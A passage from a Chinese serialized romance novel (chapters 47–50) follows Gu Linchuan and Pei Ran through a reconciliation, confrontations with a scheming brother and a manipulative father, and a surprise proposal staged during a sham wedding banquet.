“见过的。”顾临川把从书房拿来一件外套,给他披上,“你刚回国后,在悦湾,你在阳台上和枚烨聊天,向他要了一支烟。”
“啊,是啊,我想起来了。”裴然回想起当时的场面,“那是我们第一次见面,你说你失忆了,我又惊又怕。因为我觉得你对我冷漠是因为你忘了我,不是因为你讨厌我但是我又害怕,害怕你彻底想不起来,我们就结束了。”
“不会的,我们不会结束。”顾临川说,“而且那也不是第一次见面,在车里,我们见过的。”
裴然恍然大悟:“所以你是专门来接我的,对吗?”
“嗯。”顾临川点了点头,承认了,“从机场出来的那一刻,我就在你身后。”
“但是后来你好凶啊,我根本不知道怎么办。”裴然没抽几口就把烟放下了,任由风吹,“还骗我有未婚妻了,我都想好和你一辈子做普通朋友了。”
“哪里凶?”
“我和枚烨在阳台谈话,他离开后你闯进来,离我很近,我控制不住自己的情绪想抱你,但是你说讨厌我,一见到我就很……”
顾临川伸手轻轻捂住他的唇,“抱歉,可以原谅我吗?”
顾临川听到他讲诉当时的场景,内心无比悔恨,只觉得一句句都如同利刃一般狠狠扎向自己的心脏。
他居然用如此伤人的话刺向自己最爱的人,果然,最亲近之人往往最懂得如何诛心。
他无法想象,裴然是以怎样的心情回国的,又是以怎样的心情听完自己冷漠又尖锐的话语,最后仍是一副温柔的笑脸,待在自己身边。
“你不用道歉,我没有怪过你。”裴然没有拉开他的手,而是就这样说话,声音被闷在掌心,“你愿意爱我,我很幸福,但你选择恨我,我也能承受。是我有错在先,不能这么自私地要求你大度。”
“难受吗?当时。”顾临川顺势蹭着他的脸颊,问他。
“一点点……”裴然说完,又想起自己谈话的初衷,又改口道,“好吧,其实特别难受。”
“你从来没有对我说过重话,没对我冷脸,宠着我十几年,突然变成这样,我觉得很陌生,你变化太大了。所以我们和好以后,你能不能不凶我了,就算你当下不打算跟我说,你也不要凶我,可以吗?”
“嗯,不会凶你了。”顾临川哪有不答应的,“永远都不会。”
“你是不是不相信我还爱着你,觉得我只是习惯了,所以才妥协和你在一起的。”裴然侧过头和他对视。
“我没有这么想。”顾临川转过头不看他。
“不是的,我跟你讲,我很喜欢你,我爱你。”裴然伸手掰过他的脑袋,看着他的眼睛,一字一句很认真,“哪怕你恨我,我也爱你。”
话音刚落,顾临川完全怔住了,他听过裴然说过很多次的爱和喜欢,但没有哪一刻让他这么震撼。
片刻后他说:“我知道。”
裴然继续说:“今天晚上的事情,是我没有处理好,我向你道歉,我明白你一时半会儿不会因为我三言两语就改观,但你可不可以多相信我一点点,给我一个解释和证明的机会。”
顾临川:“……然然。”
“好啦好啦回去睡觉吧,我都困了,没有你在身边,我都睡不安稳。”裴然把没怎么抽的烟熄灭,冲上前给了他一个很用力的拥抱。
顾临川同样用力地抱住他。
*
清晨,聂玥独自在楼下吃早饭,Leo倒时差自然还在睡眠,而顾振东熟练地避开聂玥,在书房吃早饭看新闻。
她看着身侧空荡荡的位置,有些意外顾临川的赖床,转念一想,又觉得合理。
恰好此时,佣人上前询问:“夫人,需要去叫少爷和裴先生吗?”
聂玥抬手看了眼手表,说:“把饭热着吧,不用打扰。”
“是。”佣人退下。
不多时,倒是顾辰率先下楼,面色如常地同聂玥打过招呼:“聂夫人,早上好。”
聂玥端起咖啡轻抿一口,不咸不淡地应了一声。
由于明天就是婚宴,今日还需要两家商议一下最终的细节,宋家长辈病倒,便只有宋妍宜一人前来。
婚宴的策划师和宋妍宜已经在会客厅等候了,顾临川还迟迟不见身影。
佣人上楼去敲门时,顾临川正在房内伺候裴然洗漱。
本来昨天晚上折腾一夜,顾临川有心让他多睡一会儿,但裴然坚持要和他一起起床,但浑身酸痛又令他止不住的哼哼唧唧。
无奈之下,顾临川只好一边给他擦脸,一边给他揉腰,时不时亲亲脸,让他快速开机。
“你快去忙吧,我一个人可以。”听到门口的动静,裴然从浴室探出头来,“我待会儿自己下楼会乖乖喝药吃饭的。”
听到这句话,顾临川才放下心来,去往会客厅。
裴然收拾好后,便下楼把中药喝掉,再把早餐吃完,见顾临川还没谈完,这才又溜回卧室,悄悄从柜子里拿走了那条围巾,面色如常地下楼找人。
“叩叩。”
门被打开,看清来人后,里面的人瞬间露出惊喜的神色:“然哥,你怎么来了?”
裴然面色凝重:“你有空吗?我们聊聊。”
“当然。”顾辰侧身给他让路,“进来说吧。”
裴然站着不动,“就在这里聊。”
顾辰见他一副如临大敌地模样,苦涩的笑笑:“然哥,你现在连和我共处一室都不愿意了吗?我真的不会做什么的,进来吧,被佣人看见不好。”
听他这样说,裴然才抬脚进入卧室。
顾辰的卧室很简约,色调只有简单的黑白灰,连多余的装饰也没有。
他不知道从哪里搬出来一个小椅子,放在裴然的身后,自己则是坐在床边:“什么事,你说吧。”
看着他懵懂天真的眼神,裴然突然又不知道如何开口,分明连拉椅子的动作都和以前一样,为什么会变成这样。
最终,裴然还是把围巾拿出来,盯着他的脸,问:“眼熟吗?”
顾辰面色有一瞬间的凝固,但很快又恢复如常,“这不是你的围巾吗?见过,怎么了?”
“顾临川说,这条围巾是从你那里发现的。”裴然轻声说,“我不记得我给过你。”
顾辰突然从床上站起来,靠近他,裴然下意识
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地后退,顾辰好似被他的反应伤到,半晌才回过神。
他说:“我只是想拿围巾看看,然哥你躲我干什么呀?”
裴然抿唇不说话。
顾辰红了眼,捏着他的肩膀又问,带着几分咬牙切齿:“你躲我干什么?”
“围巾给你,你别碰我。”裴然冷声将他手扯下去。
顾辰却突然像疯了一般,将他整个人扛起来扔到床上,欺身上前,面色沉得发黑,眉骨狠狠拧成一团,连太阳穴都绷出青筋,厉声质问:“别碰你?那谁可以碰你?顾临川吗?别忘了你是谁的未婚夫,我们的婚约还没有结束!”
裴然瞪大双眼,伸手推他却发现他力大惊人,竟将他牢牢困在身下。
“你答应过我,会和你父亲解释。”裴然气急,情急之下竟然一巴掌扇到他脸上,“你骗我?!”
裴然没有收住力气,这一巴掌比从前任何一次都要重,顾辰的侧脸一瞬间红起来。
被打得偏了头,顾辰用舌尖顶了顶被打得火辣辣地半边侧脸,转过头来看着身下之人,突然笑了:“骗你怎么了?只要能得到你,我什么都可以做。”
“你疯了!”裴然奋力挣扎,总算是从床上下来,“你不解释我自然会去解释,我不可能和你在一起。”
“凭什么,你连尝试都不尝试一下就拒绝我。”顾辰说,“还是说,你喜欢我哥那样的,没关系啊,我可以学,我可以为了你变成那样。”
“顾辰,你到底怎么了?”裴然失望地看着他,仿佛从未认识过一般,“我们说好好聚好散的。”
“我不想好聚好散不行吗!”顾辰大声吼出来,“他顾临川的爱就是爱,我的爱就是打扰?!需要你一再提醒我,我们没可能吗!”
“关键是这场婚约根本就是你骗我的,我凭什么要为你的欺骗买单?”他喘着粗气,将围巾重重摔在床上,“我不跟你纠结爱不爱的问题了,现在我只想问你一件事情,围巾,是怎么回事!”
“能是怎么回事?”顾辰自暴自弃地躺在床上,抬手捂住眼睛,说,“我喜欢你,买了你的同款,不可以吗?不小心被你们发现了,不可以吗?居然劳烦然哥亲自来质问我。”
“只是同款吗?”
“不然呢,你的那条应该还在家吧,你大可以回去看看,我没偷。”
得到了想要的答案,裴然一刻也不想多待,转身便离开了房间。
许久过后,顾辰从床上坐起来,愣神片刻后,将地上的围巾捡起来,放在手里拍了拍灰。
达到目的了吧,顾辰心想。
之前带着这条围巾在顾临川面前露过面,随后又趁顾临川用车的时候将围巾故意丢在车里,引诱他发现。
如今裴然亲自来问这条围巾的事情,肯定是因为发生了争吵。
他们的感情已经岌岌可危了,在英国安插的人手准备地也很顺利。
一切都在按照计划中进行,可是为什么,他会这么难受呢?
想起裴然在他身下露出的惊慌和厌恶的神色,是他从未见过的排斥,还有那一巴掌……看起来,真的很讨厌他了……
顾辰捂着红肿发烫的脸又一次倒在床上,半晌,发出一声轻嗤。
不知道是在笑谁。
48.第 48 章
和宋妍宜谈完婚宴的事情过后,两人便各自回了公司,处理公务。
分明第二天就是两人的婚宴,全城都为此期待紧张,他们却比谁都冷静。
顾临川出门前回了卧室换正装,见裴然躺在床上补眠,睡姿不好导致被子从腰部滑落,露出一截白皙柔软的腰腹。
他走上前,替他将被子重新盖好,饶是轻手轻脚也吵醒了床上人。
裴然迷迷糊糊地睁开眼,还没看清来人就已经嗅到了熟悉的橘香,顺势攀上他的肩膀,困倦的声音发虚:“你忙完了吗?”
“嗯。”顾临川将他捞起来,摸了摸脚心,一片冰凉,眉头紧皱,“脚这么凉还踢被子?”
裴然睡得面色潮红,身上也发热,脚被他放在腹部,便下意识踩了踩他的腹肌,说“我睡着了嘛,哪里还管得了这些。你陪我睡会儿吧,那样我就不冷了。”
顾临川搂紧,在他肩后拍了拍,“我不睡了,要去公司,你跟我一起吗?”
一起去?裴然眼睛瞪大几分,差点就要一口答应,下一秒他又想起来自己和某人约好的时间,只好遗憾拒绝。
“算了吧,我现在腰还酸着。”裴然将脚缩回来,跨坐在他身上,把脸贴在他胸口,“我会想你的。”
“在家乖乖吃饭,无聊的话想出去,让司机送你。”顾临川一顿,想起裴然昨天晚上的话,难得解释一句,“司机不会时时刻刻都监视你,遇到危险记得联系我。”
“我知道的。”裴然笑着看他,“我不说了吗?我乐意被你管着,放心吧。”
“那我走了。”顾临川在他额头落下一吻。
“去吧去吧,我好困,要再睡会儿。”裴然也学着他的动作吻回去,缩在被子里同他招手。
裴然见他迟迟不动,知道他是想守着自己睡着再走,便将眼睛闭紧,过了几分钟适时地翻身,随后便听到身后小声的脚步声和关门声。
裴然在被子里等了几分钟,才从被窝里出来,从外套里将自己准备好的银行卡拿出来。
这是他这些年工作室还有打工赚的钱,自从他有能力赚钱以后,顾振东每年打过来的钱,他也没动过,都在这张卡里了。
趁着这些天还在顾宅,便一次性将从前的事情解决了吧。
裴然换了身衣服,提前到了约定的花园等候。
南城开春后便热得极快,太阳悬在天边,射下来的阳光已经有些烫人。
院子里种着两棵很大的梨花树,裴然见状便躲在树荫下。
树有些年头了,是裴然和顾临川出生前就种下的,裴然伸手抚摸着粗壮的树干,粗粝而干燥的手感令他思绪纷飞。
小时候两人总在这梨树下靠着聊天,一坐便是一下午,顾临川青春期抽条似的,一下便长得很高,裴然便靠在他的肩上,叽叽喳喳地讲话。
裴然懂事晚,但格外黏着顾临川,因此总是能在顾临川身后看见他的身影。
一阵风吹过,梨花花瓣片片飘落,落在绿茵草地上,仿佛穿越时光,看见了草地上相互依偎的两位少年。
“顾临川,今天数学课好难啊,作业我都不会写。”少年裴然捧着数学课本,苦恼地皱眉,最终放弃,看着身旁闭目养神的人,眼轱辘一转,随即嘟着嘴撒娇,“你教教我吧,可以吗,可以吗?”
顾临川睁开眼,便是裴然凑得很近的央求,早已认清自己感情的他默不作声地移开视线,拿起课本问:“哪里不会?”
裴然赶紧给他指,是一道有点深的拓展题,“我好笨,解了半小时了,都还做不出来。”
“你不笨。”顾临川接过纸笔给他演算,“公式用错了,题目条件限制了……”
少年声音清冽,干净得不带意思杂质,像风掠过梨花枝,连周遭的喧嚣都淡了几分。
忽然,一片洁白的花瓣从上方摇摇晃晃地落下来,正好落在顾临川的头顶,乌黑的发丝与淡白的花瓣形成鲜明的对比,再结合头发下这张清冷梳理的脸。
裴然莫名地咽了咽口水
。
“听懂了吗?”顾临川已经将答案演算出来,侧头问他。
“……啊?”裴然骤然回神,面色发红,眨了眨眼突然有些不好意思,“听懂了听懂了。”
顾临川便将练习册翻了翻,找出一道同类型的题,推给他:“试试。”
裴然:“……”
裴然捏着笔,小脸皱巴巴的,方才他完全发呆去了,根本没听清楚,还下意识地就回复说自己懂了。
这下好了吧,题认识他,他又不认识题,眼巴巴瞧着也做不出来。
顾临川见他和这道题大眼瞪小眼,还以为是自己找的题超标,便拿起来检查,“不会做吗?”
“其实我刚刚没听懂。”裴然抿着唇,小声说。
顾临川这才轻笑一声,将练习册放下,问他:“那你刚刚埋头看什么呢?”
“看你。”裴然盯着他,直白道,“刚刚有花瓣落到你头上了,好漂亮。”
随后他又纠结道,“不对,不是漂亮,是帅气。”
裴然无法用言语来形容那一瞬间的惊艳,以至于多年后回想起来,仍旧会感到内心一颤。
顾临川却愣住了,脸颊浮现出一抹不自然的红晕,伸手去理发丝间藏起来的花瓣。
“不要动,我帮你吧。”裴然说完便凑上来,没来得及收住的气息全洒在他耳后和侧颈,“好啦,已经没有了。”
顾临川顺势搂住他的腰,防止他从自己身上摔落。
时光若是有感情,也会为眼前这一幕动容停留,让它成为永恒。
“裴然啊,怎么到的这么早?”顾振东不知何时出现在身后,轻咳一声,“怎么在地上坐着?到椅子上聊吧。”
“顾叔叔,你来啦。”裴然赶紧从地上起来,理了理皱巴的衣服,到一旁的椅子坐下。
“这棵树年龄很大了,小时候你和小辰总爱在树下玩,还记得吧?”顾振东一改往日的威严,像一位慈爱的长辈那样同他闲聊,“时间过得真快啊,转眼你们都长大了,临川要订婚了,你和小辰好日子也快了。”
裴然皱眉,但又不知如何开口,他只好先把卡从包里拿出来,放在桌子上递过去:“顾叔叔,这是这些年我上学还有我母亲治病花的钱,当年的事情,谢谢您。”
顾振东看着眼前的卡,面色渐渐冷了下来,说:“不用,当年你答应陪着小辰
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去国外,这是答应了要给你的。”
裴然却摇头,笑着说:“要还的,留学的时候照顾一下朋友只是举手之劳,这份钱我不能要。”
“朋友?你们不是要订婚了么?”顾振东淡淡地问,“一家人,何必分得这么清楚?”
裴然眼神坚定,丝毫不退让。
他知道这份钱对于顾家来说根本算不得什么,甚至还抵不上集团每年在慈善事业上做的百分之一,但他明白,这始终是他心里的一个结。
他想清清白白地和顾临川在一起,这些钱和经历就像是一块烙印,深深地烙印着,象征着他还没有资格谈情说爱,象征着他对爱人的不管不顾和忽略。
顾振东盯着他,没有接下卡,半晌转过头,又说:“订了婚,顾家的钱还有股份,你和小辰都会有份,不必在意这些小钱。”
听到他再次提起订婚的事情,裴然这才抬起头,认真地解释:“订婚的事情是假的,我没打算和他结婚,抱歉,顾叔叔,和他一起骗了你。”
“你反悔了?”顾振东深深的看他一眼,“我当然知道你没打算否则当年也不会把你送出国。”
裴然有些听不懂:“什么意思?”
顾振东将卡随意地丢到地上,半眯着眼审视裴然,那眼神像一条潜伏的毒蛇,让人感到极度不适,“你说你有什么好的?空有一张好的皮囊,却让我两个儿子都为你神魂颠倒。不过既然小辰喜欢你,那我不介意做这个恶人。这个婚,你不结也得结。”
“还不明白吗?七年前车祸过后,我是故意把你送出国的,国内当然可以治疗,只是这样还怎么让你出国陪着小辰,他说他喜欢你,只可惜,给他机会他也不中用,这么多年也只落得个不想结婚的名分。”
裴然瞪大了双眼,简直不肯相信自己听到的是真的,简直太荒谬了,他舌根发苦:“顾叔叔,我有点不懂,你的意思是,你和顾辰把一起都计划好了,对吗?”
当时顾振东许诺会给徐梦援使用全球最先进的医疗技术,和给他安排英国顶尖的设计师学府,条件是不回国,不联络。
如今告诉他,这一切都只是为了给顾辰的一厢情愿铺路,他紧紧咬住牙齿,气得发抖。
“孩子,人要知足,你要明白你和顾临川是永远没可能的。”顾振东说,“和一个痴情待你的人在一起,是你唯一的也是最好的选择。”
裴然蹲下去,把卡捡起来,擦去上面沾染上的泥土,垂眸:“当年的事情,我不想再提,也不想追究。叔叔我感激你在我们家危难的时候伸出援手,不论动机如何,我和我母亲总归是收益的,我不想欠你什么,卡我放在这里,随你处置。”
顾振东挑眉,没想到裴然被自己三言两语就说服了。
但紧接着,裴然红了眼眶,语气万分委屈:“可是,顾临川难道不是你的小孩吗?你应该知道我离开之后他有多崩溃,你为什么要这样对他?”
顾振东不悦:“这是我的事情。”
“顾叔叔,我已经伤害过他一次了,这一次我想反抗试试。”裴然深吸一口气,强忍住落泪的冲动,“抱歉,我先走了。”
说完,裴然头也不回地跑开,只留下顾振东一人独坐。
49.第 49 章
婚宴是在一座欧式古堡举行的,虽然前前后后准备不过几月,却盛大无比,鲜花和气球从铺满了整个会场前院。
晴空万里,巨大的绿茵草坪上无数宾客正应邀入场,每个人脸上无不洋溢着或真或假的笑。
这场婚礼让南城两大顶级豪门喜结连理,背后牵动的利益纠纷难以想象。
此刻,宋妍宜正身着婚纱坐在椅子上等待化妆师上妆,看着身旁面容冷峻的男人,没见到身后跟着的小尾巴,意外地挑眉:“小然呢?怎么不见他来?”
顾临川拿手机看了看监控,卧室床上隆起一个小包,随着呼吸节奏起伏着,不自觉柔和了眉眼,“昨晚累着了,让他多睡会儿。”
宋妍宜正化着眉,倒是毫不客气地翻了白眼:“……”
过了一会儿,似是化妆间隙实在无聊,宋妍宜只好又扯了个话题同顾临川聊。
“都准备好了么?”宋妍宜好奇地问。
“嗯。”顾临川答。
“小然估计很惊喜。”宋妍宜勾着唇,“难怪你答应的这么干脆。”
顾临川半晌没说话,靠在窗边,望着下面源源不断入场的人,皱眉:“不是说少发些邀请函么?”
“宋致远搞的鬼。”宋妍宜语气掩不住的嫌恶和烦躁,“他一个人就邀请了不少,都是宋氏集团的合作商,打着宋氏的名号,也拦不住。”
“多派些保镖,可能要出事。”顾临川语气严肃。
“好,我这就下去安排。”宋妍宜动作极快,悄无声息地调换了一些保镖,同时在意想不到的地方多派了人手。
宋妍宜长相美艳,这些日子有些忙碌显得憔悴不少,此刻妆容遮住了脸上的疲态,属于她的独特气场顷刻显现。
站在顾临川身侧,倒也毫无逊色。
“叩叩。”
“请进。”
顾辰身后跟着一位俏丽的女孩,一同进了房间。
“嫂嫂,新婚快乐,百年好合!”顾辰率先送上祝福,笑得得体又大方,“嫂嫂今日格外漂亮,果然婚姻才是最好的美容项目。”
宋妍宜没想到他这么胆大,但很快就恢复了表情,笑道:“多谢小辰的祝福,不知身后这位是?”
“噢,这是斯特药业家的千金,斯馨,她父亲托我照顾她。”顾辰绅士的牵起她的手,“她说想来见见今日的主角,我便贸然带她来了,不会打扰你们吧?”
“当然不会。”宋妍宜温柔一笑,但并不多攀谈,转头整理妆发去了,“二位请便。”
“你们好。”斯馨浅浅一笑,“顾先生和宋小姐果然如新闻上所写,郎才女貌,好不登对。”
“多谢。”宋妍宜礼貌回复。
顾临川则是盯着手机,连一个眼神也没施舍。
斯馨的表情有些撕裂,看向一旁的顾辰。
顾辰耸了耸肩,示意她别计较。
斯馨只好作罢。
此行只是为了在顾临川面前刷刷脸,恶心一下他,顺便看看他身侧有没有裴然的身影。
他眼神悄然转了一圈,如愿没瞧见那人的身影,意料之内却又带点遗憾。
他知道两人不待见自己,目的得逞之后没多待便离开了。
宋妍宜从镜子里看他,笑出了声:“你这弟弟倒是有趣。”
“你喜欢?”顾临川收起手机,对视回去,“送你。”
宋妍宜笑得合不拢嘴,摆摆手婉拒了。
婚宴时间正式开始时间定在傍晚,因此白天的时间都用于宾客入场和活动环节。
宋妍宜挽着顾临川的手臂,游走在觥筹交错的人影间。
看着二人的背影,来往宾客无不赞叹一句,珠联璧合,佳偶天成。
*
裴然在家里睡到午时,揉着酸痛的腰到浴室洗漱,镜子里面,他满脸被填满后的慵懒,从脖子往下几乎没有一片好的皮肤,全带着咬痕。
裴然难得红了脸。
昨天夜里顾临川咬着他的耳朵,不停索取,任凭裴然如何可怜的祈求,也毫不怜惜。
想到明日的婚礼,裴然又狠不下心拒绝,内心觉得愧疚,便极力地回应着。
他拍拍脸,用冷水冲刷着,总算降温下来。
见他下来,佣人按照吩咐将热好的药和午饭呈上去。
裴然看着空荡荡的房子,有些遗憾,他本想跟着一起去,早上还强撑着起床,缠着顾临川带他一起去。
但顾临川格外坚定,说婚宴不过是做戏,不想让他见到自己和别人穿着婚服并肩而立的画面,让他安心在家休息。
裴然仔细想了想那个画面,也只觉得内心一阵难受,便不再闹。
饭后裴然窝在阳台的摇椅上看书,昏昏欲睡,角落的监控无声地转了角度,闪着亮光对着他,当事人却毫无知觉。
“都准备好了,就等主角了。”宋妍宜拎着礼服裙摆,小跑过来,看了看墙上的钟,“宾客那边我去应付,你和他拥有三个小时,加油。”
身后跟着枚烨和戚贺昀,两人皆是伴郎装扮,一黑一白的西装服,竟也显得和谐。
Leo也从身后冒出脑袋:“我也准备就绪!”
顾临川看着手机里昏睡的裴然,没忍心吵醒他,最后确认了一下流程后,到了换衣间换了另一套西服。
时间一分一秒过去,顾临川终于拿起手机打电话,“然然。”
“嗯?”裴然午觉刚醒,脑子发晕,嗓音也沙哑,“这么突然给我打电话?”
裴然赶紧坐起来,有些担心是不是婚礼现场出了什么事情。
“婚礼现场准备的戒指丢了,暂时找不到,还记得书房的保险柜吗?里面有一对戒指,能麻烦你送过来吗?”
“丢了?”
裴然惊呼出声,怕耽误时间,来不及穿鞋就赶紧冲进书房,按照指示打开了保险柜。
为了赶时间,裴然只在外面随意搭了一件外套,便草草出门。
司机早已在门口等候,将他接上后,一路驰往婚礼现场。
裴然被侍应生带着从后门进入,不知是不是认错了人,一路上竟然还有人放礼炮筒,搞得地上全是玫瑰花瓣。
宾客的欢笑声从前方传来,更显得这里有些安静的不正常,裴然正想拿手机给顾临川打电话,不远处便传来声音。
“裴然,这边。”
裴然应声抬头,面前站着的居然是许久未见的周旭言,他身旁的女人也格外的眼熟,不等他询问,周旭言已经走到他面前。
“你可算来了,怎么穿的睡衣?”周旭言不由分说地将他推进一边的衣帽间,“你先进去换套衣服。”
裴然还来不及反应,就被门后的妆娘逮住,拉着他一通装扮。
裴然:“?”
什么情况?
在这混乱的换衣时间,裴然竟然思路无比清醒,认出了站在周旭言身旁的女人,这不是从前的校花许清言吗?!
之前不是说许清言和顾临川是那种关系……
为什么许清言会和周旭言这么亲密地站在一起啊,难道说他们才是情侣?
可是他们若是情侣,为什么当时要当着他的面提起两人一起逛商场的八卦,他自己不吃醋吗……
不对劲,不对劲……
但一切都来不及细想,下一秒裴然被换装完毕,又被周旭言带着
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往前走。
经过拐角时,眼前骤然一黑,裴然慌乱的问:“关灯了吗?”
“然,别怕。”Leo不知何时出现在身后,“应该是电力系统不稳定,没关系,我拉着你走。”
“Leo,你给我头上带了什么?”裴然感觉到自己头上被盖上一个头纱之类的东西,落在脖颈处有些痒,没忍住伸手想抓下来,“你怎么也在这里,我是来送东西的,顾临川人呢?”
“别动。”Leo赶紧阻止他,把他手拉下来,“跟我走吧,我知道他在哪。”
黑暗中,裴然安静下来,亦步亦趋地跟在Leo身后。
“然,推开这扇门吧。”
Leo拉着他的手放在门把手上,轻声说,含着笑意。
裴然心念一动,像是预料到将会发生什么,手指都有些微微颤抖,他深吸一口气,推开了门。
里面的光亮令他一时间有些难以适应,他眨眨眼,整个人都愣住了。
暖金色的灯光从天花板垂落,撒满整个房间,地上一路延伸的粉玫瑰花瓣,尽头站着的是抱着一束芍药花的顾临川。
两人视线相撞,顾临川眼神宠溺,轻声唤他:“然然,戒指呢?”
“在、在这里。”裴然呆愣地从兜里拿出戒指,往前走几步,递给他。
顾临川将芍药放在一旁的钢琴上,对着裴然单膝跪下,声音低沉又魅惑:“打开看看。”
裴然颤抖着手把戒指丝绒盒子打开,蓝宝石戒指反射着屋内的灯光,他立刻反应过来,这是当年他送给顾临川的设计。
他哽咽着问:“这是……”
“和你想象中的它,像吗?”顾临川轻声问。
“像……”裴然红透了,从眼眶到鼻尖,再到锁骨,整个人浸泡在酒里一般,他努力控制着情绪,“简直一模一样,你怎么做到的?”
当年的草稿比较简陋,而且也不够专业,要将其中的细节完全做出来,私下必定费了很多心思。
“然然,不准备给我戴上吗?”
“要的,要的。”
裴然几乎要控制不住自己,取出属于顾临川的那枚对戒,半跪下去,感受到彼此交缠的呼吸,随即郑重地戴在他的手指上。
分明方才还紧张地手抖,这一刻又莫名镇定下来,仿佛这个动作他曾经在心中练习过无数次,一气呵成。
顾临川抬了抬他的手臂,示意他站起来,自己则是仍旧跪在地上,取下属于裴然的那枚戒指。
“裴然。”
“嗯,我在。”裴然没忍住打断他,轻声回应。
顾临川勾勾唇,但片刻后又认真地说。
“你要记得,这枚戒指,七年前就该戴在你手上了……”
“我记得……”裴然泪眼汪汪,整个人像是要哭晕过去,“你抱抱我,好不好?”
顾临川只好将准备好要说的话都咽下去,先将戒指戴上,随后将他搂进怀里,轻拍脊背。
这一点倒是没变,从小到大,一旦要哭了,必然是要埋进顾临川的胸膛。
想到这里,顾临川只觉内心一阵柔软。
两人温存片刻,周围被当作透明人的几人轻咳几声,刷一下存在感。
戚贺昀看热闹不嫌事大,喊了一句:“亲一个!”
Leo开团秒跟,也闹起来:“kiss!kiss!”
顾临川看着怀中人通红的耳根,歪头附身凑近,但在亲吻的距离又堪堪止住,“要吻吗?然然。”
裴然羞得眼神乱瞟,但哪里抵得住爱人明晃晃的勾引,闭上眼睛吻了上去。
一个完全由裴然主导的,轻柔的,温存的吻。
50.第 50 章
几人围着热热闹闹地闹了一会儿,但时间实在不多,大家便默默地离开,把空间留给刚求婚成功的小情侣。
粉白的芍药花开的热烈,静静地躺在钢琴台上。
裴然走过去,将花抱在怀里,低着头久久不出声。
顾临川见他又把情绪封闭起来,整个人怔怔的,便过去连人带花一起抱起来,“想什么呢?”
“芍药。”裴然仰头看他,却只能看见一点锋利的下颌线,“你怎么什么都记得?你好像真的很爱很爱我。”
芍药花只是裴然当年随口一提,没想到过了这么多年,顾临川居然真的用芍药同他求婚。
他把裴然放在自己腿上,自己则是在钢琴椅上坐下,“不是好像。”
“这是真的吗?怎么这段时间这么像做梦一样呢?”裴然感觉自己上一秒还刚从床上起来,下一秒已经抱着花,接受了这份求婚了。
顾临川伸出手,与裴然十指相扣,两枚戒指闪着光,冰冰凉凉的触感贴在皮肤上,随后相碰,不用刻意摆弄,戒指上海浪的造型便轻易地结合在一起。
“然然刚刚哭得那么凶,我还有话没有讲完。”顾临川牵着的手轻轻摩挲着,“这个场面我想了很多年,顺利的话,七年前给你戴上,不顺利的话,现在也不晚。然然,谢谢你,愿意给我机会来爱你。”
“谢谢你,愿意毫无保留地爱着我。”裴然跨坐在他的怀里,“结束以后,和我一起给妈妈打个视频吧,她一定也很高兴。”
这个姿势顾临川可以完全将裴然藏在身体里,只有身后露出来的双腿暴露了一点,两人只是安安静静地靠在一起,都觉得心安。
距离婚宴正式开始只剩下半小时,两人格外珍惜这段温存的时间。
顾临川有一搭没一搭地抚摸着裴然的发尾,小声在他耳边和他聊天。
说到好笑的,裴然便低低地笑起来,把脸埋在他的颈侧。
顾临川捏着他的后颈,同样笑得弯了眉眼。
两人不经意对视上,换做从前,裴然定然会害羞地移开视线,但此刻,或许是被求婚的底气,或许是刚接吻的食髓知味。
总之,裴然闭上眼睛,缓缓地靠近他的唇,打算蜻蜓点水地吻一下。
谁料,顾临川轻笑一声,一把扣住他的腰,把他往身前搂,“不够。”
强势又霸道的吻如同火星掉落干柴堆,瞬间将隐藏在两人之间的柔情点燃,一发不可收拾。
裴然承受不住般攥着他的衣领,一把捂住了他作乱的手,忍不住提醒他:“时间要、要来不及了。”
顾临川眼里满是侵略般的欲望,闻言闭了闭眼,把撩上去的衣摆拉下来,嗓音被□□烧得发哑:“不做,再抱会儿吧。”
“那个——”宋妍宜突然推门而入,呆滞了一瞬间后赶紧捂住眼睛往后退,“抱歉,我什么也没看见,你们继续。”
末了又隔着门提醒一句,“准备开始了,你们稍微快点。”
裴然被吓一跳,推着顾临川的胸膛就打算挣扎着下来,语气着急,趴在他耳边说:“你快放我下来,都被妍宜看到了。”
“不能被看见吗?”顾临川仍旧让他坐在自己腿上,故作思考地问他,“我们的关系不是已经确定了吗?”
“是确定了,但是……”裴然找不到理由,说不过他,力气也没他大,只好一头埋进顾临川胸膛,把自己藏起来。
片刻后,宋妍宜满脸八卦但是克制地走了进来,最先映入眼帘的便是顾临川是腰上那两条笔直修长的双腿。
“我很抱歉打扰你们,但是真的来不及了。”宋妍宜眨眨眼,很真诚地说,“结束之后夜还很长。”
顾临川点头:“你说的对。”
裴然听着两人打趣自己,脸憋得通红,捏了捏顾临川的禁锢着腰的手臂,小声地撒娇:“快放我下来吧。”
顾临川总算把人放下来,裴然背对着两人深呼吸好几口气,才将脸上的热意褪下,露出一个微笑,过去和宋妍宜拥抱打招呼。
宋妍宜已经换上了仪式需要穿的白色婚纱,充满设计感的裙摆让她整个人带着不张扬的惊艳。
裴然真心实意地赞美:“今天好漂亮。”
宋妍宜染上喜色,捂着嘴笑了笑:“谢谢,你今天也超帅。”
顾临川环臂靠在一边的钢琴架上,静静等待两人寒暄。没让他们抱太久,便走上前将人揽进自己怀里。
“十五分钟,给他换身衣服。”顾临川说。
宋妍宜比了个OK的手势,转身出了房间。
今天的婚宴不会太平,顾临川并不想让裴然露面,于是将人拐进隔间,替他换下与自己搭配的婚服,给他套了件白色毛衣上身。
“让司机把你送回去,乖乖在家等我。”顾临川替他理了理头发。
“我不能留下参加吗?”裴然垂着头,轻叹一声,替自己争取,“我想陪着你。”
“听话。”顾临川没心软,对上裴然祈求的眼神,也只是抬手捂住,“我会很快回家,好吗?”
“好吧。”裴然知道没机会了。
顾临川牵着他的手,将他带了出去,门口枚烨在候着,见到他俩便说:“司机等着了,你们快去吧。”
裴然身穿高领白色毛衣,顾临川黑色西装站在他面前,面无表情,像是冷酷保镖在保护家里的天真小少爷。
他们穿越弯弯绕绕的走廊,又进入了阴冷的地下一层,终于到达目的地,是一处地下停车场,那里停了一辆大众,看起来有些旧,十分不起眼。
裴然心底越发疑惑,但奈何现在实在不是提问的好时机,只好先坐上车。
顾临川替他拉开车门,像从前那样捏着他的耳垂,不知道为什么心脏一阵钝痛,他只好捏着裴然的手放在胸口,呼出一口气,“一定要等我回来。”
裴然觉得气氛有些怪异,好像两人下一次见面就是天人永隔一般,强撑着嘴角笑了笑:“嗯,我还等着带你见妈妈呢。”
说完,顾临川将车门关紧,提醒司机可以出发了,目送他们离开后,才转身重新进入会场。
*
“欢迎来到顾先生与宋女士的婚礼现场。我是今天的司仪。”
台下响起掌声,司仪接着说。
